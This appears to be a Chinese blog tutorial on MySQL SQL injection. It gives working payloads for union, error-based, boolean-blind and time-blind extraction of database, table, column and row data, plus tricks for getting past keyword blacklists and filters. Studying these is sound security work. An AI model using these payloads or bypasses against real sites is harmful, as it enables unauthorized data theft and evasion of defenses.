SQL注入原理及步骤以及黑名单绕过方式

本文详细介绍了在MySQL5.0及以上版本中,如何通过information_schema数据库进行SQL注入检测,包括判断列数、选择注入方式(如联合、报错、布尔、时间盲注)、获取敏感信息以及各种绕过方法,如空格、大小写、关键字和函数名绕过等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原理

mysql5.0以上的版本存在一个information_schema数据库,information_schema数据库包含3个表如下:

步骤

判断是否存在sql注入:

分别输入不同的id值:

——有结果:1’and 1=1#

——无结果:1’and 1=2#

——出错:1'

——正常:1''(两个单引号)

换成双引号同理。

判断查询结果有多少列:

——1’order by 1#(不报错)

——1’order by 2#(不报错)

——1’order by 3#(不报错)

——1’order by 4#(报错)

——这就说明结果有3列。

选择注入方式:

联合注入(union)、报错注入(extractvalue、updatexml)、布尔盲注(当回显只能判断对错的时候用)、时间盲注(布尔盲注的升级版,没有回显或者回显判断不了对错的时候用,根据页面的反馈时间来判断对错)。

获取数据库名:

联合注入:-1’union select 1,database(),3#

报错注入:'and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

布尔盲注:1' and ascii(substr((select database()),1,1))=115--+

时间盲注:1' and if(ascii(substr((select database()),1,1))=115,sleep(3),1)--+

获取表名:

-1’union select 1,(select table_name from information_schema.tables where table_schema=’数据库名’limit 0,1),3#

也可以不用limit,表示从哪一列开始,取多少列。

获取列名:

-1’union select 1,(select group_concat(column_name)from information_schema.columns where table_schema=’数据库名’ and table_name=’表名’),3#

获取列中数据:

-1’ union select 1,(select 列名 from 表名 limit 0,1),3#

黑名单绕过

空格绕过:

/**/(/的url编码为%2f,*的url编码为%2a)

() ——例如:select(1),2,3;(括号的url编码为%28、%29)

回车(url编码为%0a)

`(url编码为%60)

tab(url编码为%09(水平)、%0b(垂直))

大小写绕过

双写关键字绕过

绕过and和or和=:

and可以用%26%26替代,也可以用&&表示。

or可以用||表示。

=可以用like代替。

函数名绕过:

sleep()可以改为benchmark()。

ascii()可以改为ord()。

逗号绕过:

select substr('abc',1,1);

可以改为:select substr('abc' from 1 for 1);

select 1,2,3;

可以改为:select * from (select 1)a join (select 2)b join (select 3)c;

select * from users limit 0,1;

可以改为:select * from users limit 1 offset 0;

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

“Script Kid”

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值